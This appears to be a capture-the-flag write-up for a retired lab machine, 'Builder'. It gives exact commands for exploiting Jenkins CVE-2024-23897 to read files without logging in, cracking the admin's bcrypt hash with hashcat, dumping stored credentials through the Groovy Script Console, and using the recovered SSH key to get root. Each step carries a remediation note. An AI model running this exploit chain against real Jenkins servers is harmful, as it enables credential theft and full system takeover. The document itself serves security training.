Builder
Summary
I fingerprinted an internet-facing Jenkins 2.441 CI server and abused an unauthenticated arbitrary file-read vulnerability in its CLI (CVE-2024-23897) to pull the administrator's user configuration straight off disk, exposing a bcrypt password hash. Cracking that hash offline handed over valid Jenkins credentials, which were used to reach the built-in Groovy Script Console — a feature that grants full code execution on the Jenkins master to any authenticated user.
A Groovy payload dumped Jenkins' encrypted credential store, recovering a stored SSH private key. Because the Jenkins process itself ran as root on the host, that 'CI' key turned out to be root's own SSH key, giving me an immediate, unrestricted root shell and full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -p- $TARGETcurl -ksS -L --max-time 15 -D - http://$TARGET:8080/curl -ksS -L --max-time 10 "http://$TARGET:8080/rssAll?flavor=rss20"Exact commands 3
wget http://$TARGET:8080/jnlpJars/jenkins-cli.jarjava -jar jenkins-cli.jar -s http://$TARGET:8080/ connect-node '@/var/jenkins_home/users/users.xml'java -jar jenkins-cli.jar -s http://$TARGET:8080/ connect-node '@/var/jenkins_home/users/jennifer_<random>/config.xml'FixPatch Jenkins to a version fixed against CVE-2024-23897Critical
Exact commands 2
echo '$2a$10$<hash-from-config.xml>' > jennifer.hashhashcat -m 3200 -a 0 jennifer.hash rockyou.txtFixEnforce strong, unique passwords for Jenkins accountsHigh
Exact commands 2
curl -sS -c jenkins.cookies -u jennifer:$PASSWORD2 http://$TARGET:8080/crumbIssuer/api/xmlcurl -sS -b jenkins.cookies -u jennifer:$PASSWORD2 -H 'Jenkins-Crumb: <crumb>' --data-urlencode 'script=def cred = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(com.cloudbees.plugins.credentials.common.StandardCredentials.class, Jenkins.instance, null, null).find { it.id == "1" }; println(cred.privateKey)' http://$TARGET:8080/scriptTextFixRestrict access to the Jenkins Script Console and credential storeCritical
Exact commands 3
vim id_rsa # paste the recovered keychmod 600 id_rsassh -i id_rsa root@$TARGET /usr/bin/idFixRun Jenkins as a dedicated low-privileged service accountCritical
Exact commands 3
ssh -i id_rsa root@$TARGET find /home -name user.txt -type f -printssh -i id_rsa root@$TARGET cat /home/jennifer/user.txtssh -i id_rsa root@$TARGET cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 8080/tcp | http recon-sweep-discovered |